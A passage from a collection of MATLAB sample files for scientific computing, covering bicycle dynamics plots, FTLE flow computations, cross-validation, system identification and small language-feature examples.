...\n        'Color', colors{i}, ...\n        'Linewidth', 1)\nend\n\nlegend({'1', '2', '3', '4', '5', '6'})\nxlabel('Speed (m/s)')\nylabel('Maximum real part of the eigenvalue (1/s)')\n\n% set the tick marks differently\n%set(gca, 'XTick', 0:0.5:10)\n%set(gca, 'XTickLabel', {'0', '', '1', '', ...\n                        %'2', '2.5', '3', '', ...\n                        %'4', '', '5.0', '', ...\n                        %'6', '', '7', '7.5', ...\n                        %'8', '', '9', '', '10'})\n%\n% add some lines and labels for the speeds we looked at\nhold on\nmaxLine = max(maxEvals, [], 1);\nminLine = min(maxEvals, [], 1);\nlines = zeros(4, 1);\nspeedInd = find(speeds == 2.5);\nlines(1) = line([2.5, 2.5], ...\n                [minLine(speedInd) - 0.4, maxLine(speedInd) + 0.4]);\ntext(2, maxLine(speedInd) + 0.7, '2.5 m/s')\nspeedInd = find(speeds == 5.0);\nlines(2) = line([5.0, 5.0], ...\n                [minLine(speedInd) - 0.4, maxLine(speedInd) + 0.4]);\ntext(4.5, maxLine(speedInd) + 0.7, '5.0 m/s')\nspeedInd = find(speeds == 7.5);\nlines(3) = line([7.5, 7.5], ...\n                [minLine(speedInd) - 0.4, maxLine(speedInd) + 0.4]);\ntext(7, maxLine(speedInd) + 0.7, '7.5 m/s')\n\nlines(4) = line([0, 10], [0, 0]);\nhold off\n\nset(lines, 'Color', 'k', 'Linewidth', 2)\n\n% save the plot\nfilename = 'eigenvalues.eps';\nprint(gcf, ['plots' filesep filename], '-deps2c', '-loose')\nfix_ps_linestyle(['plots' filesep filename])\n"
  },
  {
    "path": "samples/MATLAB/cross_validation.m",
    "content": "function [ error ] = cross_validation(x,y,hyper_parameter)\n    \n    num_data = size(x,1);\n\n    K = 10;\n    indices = crossvalind('Kfold', num_data, K);\n\n    errors = zeros(K,1);\n    for i = 1:K\n        % get indices\n        test_idx = (indices == i);\n        train_idx = ~test_idx;\n\n        % get training data\n        x_train = x(train_idx,:);\n        y_train = y(train_idx,:);\n\n        % train\n        w = train(x_train, y_train, hyper_parameter);\n\n        % get test data\n        x_test = x(test_idx,:);\n        y_test = y(test_idx,:);\n        \n        % calculate error\n        errors(i) = calc_cost(x_test, y_test, w, hyper_parameter); %calc_error\n        %errors(i) = calc_error(x_test, y_test, w);\n    end\n    \n    error = mean(errors);\nend\n"
  },
  {
    "path": "samples/MATLAB/distance.m",
    "content": "function [ value,isterminal,direction ] = distance( t,y,mu )\n% DISTANCE compute the distance from the attactors\n%   [ value,terminal,direction ] = distance( t,y )\n\nd=1e-2; % FIXME\n\n% TODO mettere if se tolleranza D-d<tol -> value=0\nD=sqrt((y(1)+mu).^2+y(2).^2); % distance from the largest primary\n\nvalue=d-D;\nisterminal=1;\ndirection=0;\nend"
  },
  {
    "path": "samples/MATLAB/double_gyre.m",
    "content": "clear all\ntic\n% initialize integration time T, f(x,t), discretization size n ----------------\nT = 8;\nx_min=0;\nx_max=2;\ny_min=0;\ny_max=1;\nn=50; % how many points per one measure unit (both in x and in y)\nds=1/(n-1);\nx_res=(x_max-x_min)*n;\ny_res=(y_max-y_min)*n;\ngrid_x=linspace(x_min,x_max,x_res);\ngrid_y=linspace(y_min,y_max,y_res);\n\nadvected_x=zeros(x_res,y_res);\nadvected_y=zeros(x_res,y_res);\n% integrate all initial points for t in [0,T] --------------------------------\nparfor i = 1:x_res\n\tfor j = 1:y_res\n\t\t[t,X] = ode45(@dg,[0,T],[grid_x(i),grid_y(j)]);\n\t\t% store advected positions as they would appear in (x,y) coords ------\n\t\tadvected_x(i,j) = X(length(X(:,1)),1);\n\t\tadvected_y(i,j) = X(length(X(:,2)),2);\n\tend\nend\n%% Compute FTLE\nsigma=zeros(x_res,y_res);\n% at each point in interior of grid, store FTLE ------------------------------\nfor i = 2:x_res-1\n\tfor j = 2:y_res-1\n\t\t% compute Jacobian phi -----------------------------------------------\n\t\tphi(1,1) = (advected_x(i+1,j)-advected_x(i-1,j))/(2*ds);\n\t\tphi(1,2) = (advected_x(i,j-1)-advected_x(i,j+1))/(2*ds);\n\t\tphi(2,1) = (advected_y(i+1,j)-advected_y(i-1,j))/(2*ds);\n\t\tphi(2,2) = (advected_y(i,j-1)-advected_y(i,j+1))/(2*ds);\n\t\t% find max eigenvalue of phi'*phi ------------------------------------\n\t\tlambda_max = max(abs(eig(phi'*phi)));\n\t\t% store FTLE ---------------------------------------------------------\n\t\tsigma(i,j) = log(lambda_max)/abs(2*T);\n\tend\nend\ntoc\n%% plot FTLE field ------------------------------------------------------------\nfigure\ncontourf(grid_x,grid_y,sigma');\ncolorbar('location','EastOutside');\naxis equal\nshading flat\n"
  },
  {
    "path": "samples/MATLAB/example.m",
    "content": "clear all\ntic\n% initialize integration time T, f(x,t), discretization size n ----------------\nT = 20;\nf_x_t = inline('[v(2);-sin(v(1))]','t','v');\ngrid_min = -3.4;\ngrid_max = 3.4;\ngrid_width = grid_max-grid_min;\nn = 35;\ngrid_spacing = grid_min:(grid_width/(n-1)):grid_max;\nadvected_x=zeros(n,n);\nadvected_y=zeros(n,n);\n% integrate all initial points for t in [0,T] --------------------------------\nfor i = 1:n\n\tfor j = 1:n\n\t\t[t,x] = ode45(f_x_t,[0,T],[grid_spacing(i),grid_spacing(j)]);\n\t\t% store advected positions as they would appear in (x,y) coords ------\n\t\tadvected_x(n-j+1,i) = x(length(x(:,1)),1);\n\t\tadvected_y(n-j+1,i) = x(length(x(:,2)),2);\n\tend\nend\nsigma=zeros(n,n);\n% at each point in interior of grid, store FTLE ------------------------------\nfor i = 2:n-1\n\tfor j = 2:n-1\n\t\t% compute Jacobian phi -----------------------------------------------\n\t\tphi(1,1) = (advected_x(i,j+1)-advected_x(i,j-1))/(2*grid_width/(n-1));\n\t\tphi(1,2) = (advected_x(i-1,j)-advected_x(i+1,j))/(2*grid_width/(n-1));\n\t\tphi(2,1) = (advected_y(i,j+1)-advected_y(i,j-1))/(2*grid_width/(n-1));\n\t\tphi(2,2) = (advected_y(i-1,j)-advected_y(i+1,j))/(2*grid_width/(n-1));\n\t\t% find max eigenvalue of phi'*phi ------------------------------------\n\t\tlambda_max = max(abs(eig(phi'*phi)));\n\t\t% store FTLE ---------------------------------------------------------\n\t\tsigma(i,j) = log(lambda_max)/abs(T);\n\tend\nend\ntoc\n%% plot FTLE field ------------------------------------------------------------\nfigure\ncontourf(grid_spacing,grid_spacing,sigma);\ncolorbar('location','EastOutside');"
  },
  {
    "path": "samples/MATLAB/fit_adapt.m",
    "content": "data = load_data('jason_adapt.mat');\n\nt0 = 0;\nt1 = 30;\nt2 = 60;\nt3 = 90;\n\ndataPlantOne = data(1:t1 / data.Ts);\ndataAdapting = data(t1 / data.Ts:t2 / data.Ts);\ndataPlantTwo = data(t2 / data.Ts:end);\n\n% k1, k2, k3, k4, tau, zetanm, wnm, zetafs, wfs\n\n% ron's guess\nguessPlantOne = [4.85, 1.79, 20, 20, 0.2, 0.707, 10, 0.707, 65];\n% best solution from ron's guess\n%guessPlantOne = [4.1129, 2.1327, 52.3747, 48.6997, 0.2, 0.707, 10, 0.707, 65];\nresultPlantOne = find_structural_gains(dataPlantOne, guessPlantOne, 1);\n[yh, fit, x0] = compare(dataPlantOne, resultPlantOne.fit);\ndisplay(sprintf('The self validation VAF is %f.', fit(1, 1, 1)))\n\n% ron's guess\nguessPlantTwo = [3.36, 9.49, 20, 0, 0.2, 0.707, 10, 0.707, 65];\n% best solution from ron's guess\n%guessPlantTwo = [2.6686, 7.0431, 14.4623, 3.1532, 0.2, 0.707, 10, 0.707, 65];\nresultPlantTwo = find_structural_gains(dataPlantTwo, guessPlantTwo, 5);\n[yh, fit, x0] = compare(dataPlantTwo, resultPlantTwo.fit);\ndisplay(sprintf('The self validation VAF is %f.', fit(1, 1, 1)))\n\n% compute the slope and offset for each gain for initial guesses\nkP1 = resultPlantOne.fit.par(1:4);\nkP2 = resultPlantTwo.fit.par(1:4);\ngainSlopeOffset = [t1 * eye(4), eye(4); t2 * eye(4), eye(4)] \\ [kP1; kP2];\n\naux.pars = guessPlantOne; % this only uses tau through wfs\naux.timeDelay = true;\naux.plantFirst = 1; % 1 / s\naux.plantSecond = 5; % 5 / (s + 10)\n% compute the slope and offset of the plant for t1 < t < t2\nplantOneSlopeOffset = [t1, 1; t2, 1] \\ [1; 0];\nplantTwoSlopeOffset = [t1, 1; t2, 1] \\ [0; 1];\naux.m = [plantOneSlopeOffset(1); plantTwoSlopeOffset(1)];\naux.b = [plantOneSlopeOffset(2); plantTwoSlopeOffset(2)];\n\n%[dx, y] = adapting_structural_model(45, ones(8, 1), 10, gainSlopeOffset, {aux});\n\n% NOTE: 'FileArgument' has to be a cell array, the is why aux is in\n% brackets. Also, if you pass the parameters in as a vector here, as I have,\n% they get mapped to a structure and your ode file/function must accept each\n% parameter as individual arguments.\nmod = idnlgrey('adapting_structural_model', [1, 1, 8], gainSlopeOffset, ...\n    zeros(8, 1), 0, 'FileArgument', {aux}, 'InputName', 'thetac', ...\n    'OutputName', 'theta');\n\nfit = pem(dataAdapting, mod);\n\ncompare(dataAdapting, fit);\n"
  },
  {
    "path": "samples/MATLAB/fit_adapt_linear.m",
    "content": "% This file identifies a series of models for a time varying plant.\n\n% k1, k2, k3, k4, tau, zetanm, wnm, zetafs, wfs\n\n%data = load_data('jason_adapt.mat');\n%filename = 'adapt';\n%guess.plantOne = [4.85, 1.79, 20, 20, 0.2, 0.707, 10, 0.707, 65];\n%guess.plantTwo = [3.36, 9.49, 20, 0, 0.2, 0.707, 10, 0.707, 65];\n%plantNum.plantOne = 1;\n%plantNum.plantTwo = 5;\n\ndata = load_data('adapt_hard.mat');\nfilename = 'hard-adapt';\nguess.plantOne = [1.23, 0.354, 0.2, 20.0, 0.2, 0.707, 10, 0.707, 65];\nguess.plantTwo = [4.85, 1.79, 20, 20, 0.2, 0.707, 10, 0.707, 65];\nplantNum.plantOne = 6;\nplantNum.plantTwo = 1;\n\nt = [0, 30, 40, 50, 60, 90];\n\nsections = {'plantOne', 'adaptOne', 'adaptTwo', 'adaptThree', 'plantTwo'};\nfor i = 1:length(sections)\n    secData.(sections{i}) = data(t(i) / data.Ts + 1:t(i + 1) / data.Ts);\nend\n\n% compute the slope and offset for each gain for initial guesses\nkP1 = guess.plantOne(1:4)';\nkP2 = guess.plantTwo(1:4)';\ngainSlopeOffset = [t(2) * eye(4), eye(4); t(5) * eye(4), eye(4)] \\ [kP1; kP2];\nm = gainSlopeOffset(1:4);\nb = gainSlopeOffset(5:8);\n\nfor i = 1:length(sections)\n\n    if strcmp(sections{i}, sections{1}) || strcmp(sections{i}, sections{end})\n        display('boo')\n    else\n        if i > 1\n            % use the best fit gains from the previous section\n            guess.(sections{i}) = result.(sections{i - 1}).fit.par;\n        else\n            currentGuess = m .* (t(i) + t(i + 1)) / 2 + b;\n            guess.(sections{i}) = [currentGuess', guess.plantOne(5:end)];\n        end\n        percent = ((t(i) + t(i + 1)) / 2 - t(2)) / (t(5) - t(2));\n        plantNum.(sections{i}) = {plantNum.plantOne, plantNum.plantTwo, percent};\n    end\n\n    result.(sections{i}) = find_structural_gains(secData.(sections{i}), ...\n        guess.(sections{i}), plantNum.(sections{i}), 'warning', false, ...\n        'randomGuess', true);\n\n    [yh, vaf, x0] = compare(secData.(sections{i}), result.(sections{i}).fit);\n    result.(sections{i}).vaf = vaf(1, 1, 1);\n    display(sprintf('The self validation VAF is %f.', vaf(1, 1, 1)))\n\n    p = plantNum.(sections{i});\n    if size(plantNum.(sections{i}), 2) > 1\n        result.(sections{i}).plant = plant(p{:});\n    else\n        result.(sections{i}).plant = plant(p);\n    end\nend\n\nsave(['data/' filename '-results.mat'], 'sections', 'guess', 'plantNum', 'result')\n\nfor i = 1:length(sections)\n    result.(sections{i}).fig = figure;\n    compare(secData.(sections{i}), result.(sections{i}).fit);\n    saveas(result.(sections{i}).fig, ['plots/' filename '-' sections{i} '.png'])\n    [yh, fit, x0] = compare(secData.(sections{i}), result.(sections{i}).fit);\n    display('-----------------')\n    display('The task plant is:')\n    display(result.(sections{i}).plant)\n    display(sprintf('The order of the closed loop system is %u.', ...\n        size(result.(sections{i}).mod.A, 1)))\n    display(sprintf('The gain guesses: k1=%f, k2=%f, k3=%f, k4=%f', ...\n        result.(sections{i}).mod.par(1:4)))\n    display(sprintf('The identified gains: k1=%f+\\\\-%f, k2=%f+\\\\-%f, k3=%f+\\\\-%f, k4=%f+\\\\-%f', ...\n        result.(sections{i}).fit.par(1), result.(sections{i}).uncert(1), ...\n        result.(sections{i}).fit.par(2), result.(sections{i}).uncert(2), ...\n        result.(sections{i}).fit.par(3), result.(sections{i}).uncert(3), ...\n        result.(sections{i}).fit.par(4), result.(sections{i}).uncert(4)))\n    display(sprintf('The self validation VAF is %f.', ...\n        result.(sections{i}).vaf))\nend\n"
  },
  {
    "path": "samples/MATLAB/gpu_RKF45_FILE.m",
    "content": "tic\r\nclear\r\n%% Range definition\r\nn=200;\r\n\r\nmu=0.1;\r\n[xl1,yl1,xl2,yl2,xl3,yl3,xl4,yl4,xl5,yl5]=Lagr(mu);\r\nC_L1=2*Omega(xl1,yl1,mu);\r\nE_0=-C_L1/2+0.03715;\r\nY_0=0;\r\n\r\nnx=n;\r\nx_0_min=-0.8;\r\nx_0_max=-0.15;\r\nx_0=linspace(x_0_min, x_0_max, nx);\r\ndx=(x_0_max-x_0_min)/(nx-1);\r\n\r\nnvx=n;\r\nvx_0_min=-2;\r\nvx_0_max=2;\r\nvx_0=linspace(vx_0_min, vx_0_max, nvx);\r\ndvx=(vx_0_max-vx_0_min)/(nvx-1);\r\n\r\nny=3;\r\ndy=(dx+dvx)/2;\r\ny_0=[Y_0-dy Y_0 Y_0+dy];\r\n\r\n\r\n\r\nne=3;\r\nde=dy;\r\ne_0=[E_0-de E_0 E_0+de];\r\n\r\n%% Definition of arrays of initial conditions\r\n\r\n%In this approach, only useful pints are stored and integrated\r\n\r\nm=1;\r\n% x=zeros(1,nx*ny*nvx*ne);\r\n% y=zeros(1,nx*ny*nvx*ne);\r\n% vx=zeros(1,nx*ny*nvx*ne);\r\n% e=zeros(1,nx*ny*nvx*ne);\r\n% vy=zeros(1,nx*ny*nvx*ne);\r\nfilter=zeros(nx,3,nvx,3);\r\n\r\nfor i=1:nx\r\n\tfor j=1:ny\r\n\t\tfor k=1:nvx\r\n\t\t\tfor l=1:ne\r\n\t\t\t\tv_y=-sqrt(2*Omega(x_0(i),y_0(j),mu)+2*e_0(l)-vx_0(k)^2);\r\n\t\t\t\tif ~((j~=2) && (l~=2)) && isreal(v_y)\r\n\t\t\t\t\tx(m)=x_0(i);\r\n\t\t\t\t\ty(m)=y_0(j);\r\n\t\t\t\t\tvx(m)=vx_0(k);\r\n\t\t\t\t\te(m)=e_0(l);\r\n\t\t\t\t\tvy(m)=v_y;\r\n\t\t\t\t\tfilter(i,j,k,l)=1;\r\n\t\t\t\t\tm=m+1;\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\nend\r\n\r\n%% Selection of useful points\r\n\r\n%% Data transfer to GPU\r\nx_gpu=gpuArray(x);\r\ny_gpu=gpuArray(y);\r\nvx_gpu=gpuArray(vx);\r\nvy_gpu=gpuArray(vy);\r\n\r\n%% Integration on GPU\r\nN=1;\r\nt0=0;\r\n\r\n[x_f,y_f,vx_f,vy_f]=arrayfun(@RKF45_FILE_gpu,t0,N,x_gpu,y_gpu,vx_gpu,vy_gpu,mu);\r\n\r\n%% Data back to CPU and GPU memory cleaning\r\nclear x_gpu y_gpu vx_gpu vy_gpu\r\nx_T=gather(x_f);\r\nclear x_f\r\ny_T=gather(y_f);\r\nclear y_f\r\nvx_T=gather(vx_f);\r\nclear vx_f\r\nvy_T=gather(vy_f);\r\nclear vy_f\r\n\r\n%% Construction of matrix for FTLE computation\r\n\r\nX_T=zeros(nx,ny,nvx,ne);\r\nY_T=zeros(nx,ny,nvx,ne);\r\nVX_T=zeros(nx,ny,nvx,ne);\r\nVY_T=zeros(nx,ny,nvx,ne);\r\nE_T=zeros(nx,ny,nvx,ne);\r\nm=1;\r\nfor i=1:nx\r\n    for j=1:ny\r\n        for k=1:nvx\r\n            for l=1:ne\r\n                if filter(i,j,k,l)==1\r\n                    X_T(i,j,k,l)=x_T(m);\r\n                    Y_T(i,j,k,l)=y_T(m);\r\n                    VX_T(i,j,k,l)=vx_T(m);\r\n                    VY_T(i,j,k,l)=vy_T(m);\r\n                    E_T(i,j,k,l)=0.5*(VX_T(i,j,k,l)^2+VY_T(i,j,k,l)^2)-Omega(X_T(i,j,k,l),Y_T(i,j,k,l),mu);\r\n                    m=m+1;\r\n                end\r\n            end\r\n        end\r\n    end\r\nend\r\n\r\n%% Compute filter for FTLE\r\nfilter_ftle=filter;\r\nfor i=2:(nx-1)\r\n\tfor j=2:(ny-1)\r\n\t\tfor k=2:(nvx-1)\r\n\t\t\tfor l=2:(ne-1)\r\n\t\t\t\tif filter(i,j,k,l)==0 || filter (i,j,k,l)==3\r\n\t\t\t\t\tfilter_ftle(i,j,k,l)=0;\r\n\t\t\t\t\t\r\n\t\t\t\t\tfilter_ftle(i+1,j,k,l)=0;\r\n\t\t\t\t\tfilter_ftle(i-1,j,k,l)=0;\r\n\t\t\t\t\t\r\n\t\t\t\t\tfilter_ftle(i,j+1,k,l)=0;\r\n\t\t\t\t\tfilter_ftle(i,j-1,k,l)=0;\r\n\t\t\t\t\t\r\n\t\t\t\t\tfilter_ftle(i,j,k+1,l)=0;\r\n\t\t\t\t\tfilter_ftle(i,j,k-1,l)=0;\r\n\t\t\t\t\t\r\n\t\t\t\t\tfilter_ftle(i,j,k,l+1)=0;\r\n\t\t\t\t\tfilter_ftle(i,j,k,l-1)=0;\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\t\r\n\t\tend\r\n\tend\r\nend\r\n%% FTLE computation\r\n\r\n[ftle, dphi]=Compute_FILE_gpu( X_T, Y_T, VX_T, E_T, dx, dy, dvx, de, N, filter_ftle);\r\n\r\n%% Plot results\r\nfigure\r\nFTLE=squeeze(ftle(:,2,:,2));\r\nFTLE(1,:)=[];\r\n% FTLE(2,:)=[];\r\nFTLE(:,1)=[];\r\n% FTLE(:,2)=[];\r\nx_0(1)=[];\r\nvx_0(1)=[];\r\npcolor(x_0, vx_0, FTLE')\r\nshading flat\r\ntoc"
  },
  {
    "path": "samples/MATLAB/ieee.m",
    "content": "% This script loads in the data used for the IEEE paper and creates the plots.\nclc; close all;\n\nbikes = {'Benchmark', 'Browserins', 'Browser', 'Pista', ...\n         'Fisher', 'Yellow', 'Yellowrev'};\n\ndata = load_bikes(bikes, 'Steer');\n\nrollData = generate_data('Benchmark', 5.0, ...\n                         'input', 'Roll', ...\n                         'gains', [1, 55, 3.76, 0.413, 0.076]);\n\ncreate_ieee_paper_plots(data, rollData)\n"
  },
  {
    "path": "samples/MATLAB/lane_change.m",
    "content": "function [x, y, t] = lane_change(start, width, slope, pathLength, speed, num, ...\n                                 type, varargin)\n% Generates the time and coordinates for either a single or double lane change\n% manuever at a particular speed.\n%\n% Parameters\n% ----------\n% start : float\n%   The starting point along the x axis in meters.\n% width : float\n%   The width of the lane deviation.\n% slope : float\n%   The slope of the lane change.\n% pathLength : float\n%   The length of path.\n% speed : float\n%   Speed of travel.\n% num : integer\n%   Number of time steps.\n% type : string\n%   Either 'single' or 'double'. A double lane change return to x = 0.\n% laneLength : float, optional\n%   Length of the lane for a double lane change.\n%\n% Returns\n% -------\n% x : matrix, (num, 1)\n%   The longitudinal path.\n% y : matrix, (num, 1)\n%   The lateral path.\n% t : matrix, (num, 1)\n%   Time.\n\nx = 0:pathLength / num:pathLength;\nx = x';\nt = x / speed;\n\ny = zeros(length(x), 1);\nendOfSlope = width / slope + start;\nslopeInd = find((x > start) & (x <= endOfSlope));\ny(slopeInd) = slope * (x(slopeInd) - start);\nif strcmp(type, 'single')\n    theRest = slopeInd(end) + 1:length(y);\n    y(theRest) = width * ones(length(theRest), 1);\nelseif strcmp(type, 'double');\n    if length(varargin) < 1\n        error('Double lane change needs length of lane.')\n    else\n        laneLength = varargin{1};\n        startOfSlope = start + laneLength - width / slope;\n        lane = find((x > endOfSlope) & (x <= startOfSlope));\n        y(lane) = width * ones(length(lane), 1);\n        downSlope = find((x > startOfSlope) & (x <= start + laneLength));\n        y(downSlope) = slope * (start + laneLength - x(downSlope));\n    end\nend\n"
  },
  {
    "path": "samples/MATLAB/load_bikes.m",
    "content": "function data = load_bikes(bikes, input)\n% function data = load_bikes(bikes, input)\n% Returns the data for a set of bicycles at three speeds.\n%\n% Parameters\n% ----------\n% bikes : cell array\n%   A cell array that lists the bicyle short names.\n% input : string\n%   'Steer' or 'Roll'\n%\n% Returns\n% -------\n% data : structure\n%   A structure containg a node for each bicycle and each speed.\n\nspeeds = [2.5, 5.0, 7.5];\nspeedNames = {'Slow', 'Medium', 'Fast'};\n\n% these are the gains that were selected manually by Ron Hess, taken from\n% the paper\ngains.Benchmark.Slow   = [22.0, -0.090, 23.3, 0.058, 0.195]; % place holder\ngains.Browserins.Slow  = [22.0, -0.090, 23.3, 0.058, 0.195];\ngains.Browser.Slow     = [20.5, -0.086, 24.1, 0.053, 0.199];\n% the gains in the paper give an unstable bike, the uncommented one were the ones from his\n% simulink model\ngains.Pista.Slow       = [22.3000,-0.1300,15.6410,0.0645,0.1990]; %[22.3, -0.130, 15.6, 0.662, 0.198];\ngains.Fisher.Slow      = [23.0, -0.120, 17.7, 0.065, 0.198];\ngains.Yellow.Slow      = [18.0, -0.110, 20.2, 0.062, 0.200];\ngains.Yellowrev.Slow   = [48.0, -0.070, 27.9, 0.063, 0.191];\n\ngains.Benchmark.Medium  = [ 46.5, -0.052, 12.8, 0.177, 0.097];\ngains.Browserins.Medium = [ 48.0, -0.080, 9.03, 0.161, 0.097];\ngains.Browser.Medium    = [ 43.0, -0.087, 8.50, 0.173, 0.100];\ngains.Pista.Medium      = [ 49.0, -0.080, 8.06, 0.170, 0.101];\ngains.Fisher.Medium     = [ 50.5, -0.084, 8.26, 0.168, 0.100];\ngains.Yellow.Medium     = [ 39.0, -0.085, 8.61, 0.160, 0.101];\ngains.Yellowrev.Medium  = [105.0, -0.070, 8.90, 0.165, 0.100];\n\ngains.Benchmark.Fast   = [ 74.0, -0.063, 6.31, 0.332, 0.065]; % place holder\ngains.Browserins.Fast  = [ 74.0, -0.063, 6.31, 0.332, 0.065];\ngains.Browser.Fast     = [ 68.0, -0.060, 6.74, 0.330, 0.065];\ngains.Pista.Fast       = [ 80.0, -0.058, 5.82, 0.321, 0.066];\ngains.Fisher.Fast      = [ 82.0, -0.062, 5.83, 0.315, 0.065];\ngains.Yellow.Fast      = [ 61.0, -0.063, 6.34, 0.345, 0.065];\ngains.Yellowrev.Fast   = [170.0, -0.050, 6.45, 0.300, 0.066];\n\n% load the data for all speeds for all the bikes\nfor i = 1:length(bikes)\n    for j = 1:length(speeds)\n        data.(bikes{i}).(speedNames{j}) = ...\n            generate_data(bikes{i}, speeds(j), 'input', input, ...\n                          'gains', gains.(bikes{i}).(speedNames{j}));\n    end\nend\n"
  },
  {
    "path": "samples/MATLAB/load_data.m",
    "content": "function data = load_data(filename, varargin)\n% function data = load_data(filename, varargin)\n%\n% Returns an iddata object with the input thetac and output theta for the\n% given file.\n%\n% Parameters\n% ----------\n% filename : char\n%   Filename for the data file.\n% varargin : char value pairs, optional\n%   sampleTime : double, default=0.0005\n%   detread : boolean, default=true\n%   directory : char, default='data'\n\nparser = inputParser;\nparser.addRequired('filename');\nparser.addParamValue('sampleTime', 0.0005);\nparser.addParamValue('detrend', true);\nparser.addParamValue('directory', 'data');\nparser.parse(filename, varargin{:});\nargs = parser.Results;\n\nraw = load([args.directory filesep filename]);\n\ndata = iddata(raw.theta, raw.theta_c, args.sampleTime, ...\n             'InterSample', 'foh', ...\n             'InputName', {'thetac'}, ...\n             'OutputName', {'theta'});\n\nif args.detrend\n    data = detrend(data);\nend\n"
  },
  {
    "path": "samples/MATLAB/make_filter.m",
    "content": "function [filtfcn, statefcn] = makeFilter(b, a)\n%   FILTFCN = MAKEFILTER(B, A) creates an IIR filtering\n%   function and returns it in the form of a function handle,\n%   FILTFCN. Each time you call FILTFCN with a new filter \n%   input value, it computes the corresponding new filter \n%   output value, updating its internal state vector at the\n%   same time.\n%\n%   [FILTFCN, STATEFCN] = MAKEFILTER(B, A) also returns a \n%   function (in the form of a function handle, STATEFCN) \n%   that can return the filter's internal state.  The internal\n%   state vector is in the form of a transposed direct form \n%   II delay line.\n\n%   Initialize state vector. To keep this example a bit \n%   simpler, assume that a and b have the same length.  \n%   Also assume that a(1) is 1.\n\nv = zeros(size(a));\n\nfiltfcn =  @iirFilter;\nstatefcn = @getState;\n\n   function yn = iirFilter(xn)\n      % Update the state vector\n      v(1) = v(2) + b(1) * xn;\n      v(2:end-1) = v(3:end) + b(2:end-1) * xn - ...\n         a(2:end-1) * v(1);\n      v(end) = b(end) * xn - a(end) * v(1);\n      \n      % Output is the first element of the state vector.\n      yn = v(1);\n   end\n\n   function vOut = getState\n      vOut = v;\n   end\nend\n"
  },
  {
    "path": "samples/MATLAB/matlab_class.m",
    "content": "classdef matlab_class\n    properties\n        R;\n        G;\n        B;\n    end\n    methods\n        function obj = matlab_class(r,g,b)\n            obj.R = r;\n            obj.G = g;\n            obj.B = b;\n        end\n        function disp(obj)\n            disp(['Red: ' num2str(obj.R) ...\n                ', Green: ' num2str(obj.G) ...\n                ', Blue: ' num2str(obj.B)]);\n        end\n    end\n    enumeration\n        red     (1,0,0)\n        green   (0,1,0)\n        blue    (0,0,1)\n        cyan    (0,1,1)\n        magenta (1,0,1)\n        yellow  (1,1,0)\n        black   (0,0,0)\n        white   (1,1,1)\n    end\nend"
  },
  {
    "path": "samples/MATLAB/matlab_function.m",
    "content": "function ret = matlab_function(A,B)\n% Simple function adding two values and displaying the return value\n\nret = A+B;\n% Display the return value\ndisp('Return value in function');\ndisp(ret);\n\n\n"
  },
  {
    "path": "samples/MATLAB/matlab_script.m",
    "content": "% Matlab example script\n\n%Call matlab_function function which resides in the same directory\n\nvalue1 = 5 % semicolon at end of line is not mandatory, only suppresses output to command line.\nvalue2 = 3\n\n% Calculate sum of value1 and value2\nresult = matlab_function(value1,value2);\n\ndisp('called from script')\ndisp(result);\n"
  },
  {
    "path": "samples/MATLAB/matlab_script2.m",
    "content": "  % Matlab example script 2\n  % Comments precended with arbitrary whitespace (spaces or tabs)\n\n  %Call matlab_function function which resides in the same directory\n\nvalue1 = 5 % semicolon at end of line is not mandatory, only suppresses output to command line.\nvalue2 = 3\n\n  % Calculate sum of value1 and value2\nresult = matlab_function(value1,value2);\n\ndisp('called from script')\ndisp(result);"
  },
  {
    "path": "samples/MATLAB/normalize.m",
    "content": "function [ d, d_mean, d_std ] = normalize( d )\n    d_mean = mean(d);\n    d = d - repmat(d_mean, size(d,1), 1);\n    d_std = std(d);\n    d = d./ repmat(d_std, size(d,1), 1);\nend\n"
  },
  {
    "path": "samples/MATLAB/overwrite_settings.m",
    "content": "function settings = overwrite_settings(defaultSettings, overrideSettings)\n% function settings = overwrite_settings(defaultSettings, overrideSettings)\n% Returns the settings based on a combination of the defaults and the override settings.\n%\n% Parameters\n% ----------\n% defaultSettings : structure\n%   A structure with all of the default settings.\n% overrideSettings : structure\n%   Contains any settings that should override the defaults.\n%\n% Returns\n% -------\n% settings : structure\n%   A stucture containing the overrideSettings and any defaults that weren't\n%   supplied in the overrideSettings.\n\n% add the default options if not specified by the user\noverrideNames = fieldnames(overrideSettings);\ndefaultNames = fieldnames(defaultSettings);\nnotGiven = setxor(overrideNames, defaultNames);\nsettings = overrideSettings;\nif length(notGiven) > 0\n    for i = 1:length(notGiven)\n        settings.(notGiven{i}) = defaultSettings.(notGiven{i});\n    end\nend\n"
  },
  {
    "path": "samples/MATLAB/par_text_to_struct.m",
    "content": "function par = par_text_to_struct(pathToFile)\n% function par = par_text_to_struct(pathToFile)\n% Returns a structure of the parameters that were stored in a csv text file.\n%\n% Parameters\n% ----------\n% pathToFile : string\n%   Path to a text file containing the benchmark parameters for a single\n%   bicycle. The parameters should be on seperate lines and take this form:\n%\n%   c = 0.08+/-0.01\n%   lam = 0.31\n%\n% Returns\n% -------\n% par : structure\n%   A structure containing the bicycle parameters.\n\nfid = fopen(pathToFile);\ndata = textscan(fid, '%s %s', 'delimiter', '=');\nfclose(fid);\nnames = strtrim(data{1});\nvals = strtrim(regexp(data{2}, '+/-', 'split'));\nfor i = 1:length(names)\n    v = vals{i};\n    par.(names{i}) = str2num(v{1});\nend\n"
  },
  {
    "path": "samples/MATLAB/plant.m",
    "content": "function Yc = plant(varargin)\n% function Yc = plant(varargin)\n%\n% Returns the system plant given a number.\n%\n% Parameters\n% ----------\n% varargin : variable\n%   Either supply a single argument {num} or three arguments {num1, num2,\n%   ratio}. If a single argument is supplied, then one of the six transfer\n%   functions will be chosen from the list. If three arguments are chosen, a\n%   parallel sum of the two plants will be returned.\n%\n%   Option 1\n%   --------\n%   num : integer, {1, 2, 3, 4, 5, 6}\n%       A number between 1 and 6 corresponding to the five plants.\n%   Option 2\n%   --------\n%   num1 : integer, {1, 2, 3, 4, 5, 6}\n%       A number between 1 and 6 corresponding to the five plants.\n%   num2 : integer, {1, 2, 3, 4, 5, 6}\n%       A number between 1 and 6 corresponding to the five plants.\n%   percent : double\n%       The percentage multiplier of the first plant. Should be between 0\n%       and 1. The percentage multiplier of the second plant will be 1 -\n%       percent.\n%\n% Returns\n% -------\n% Either a single plant or a parallel sum of scaled plants.\n%\n% Option 1\n% --------\n% Yc : transfer function\n%   1 : 1 / s\n%   2 : 1 / s(s + 1)\n%   3 : 1 / s(s + 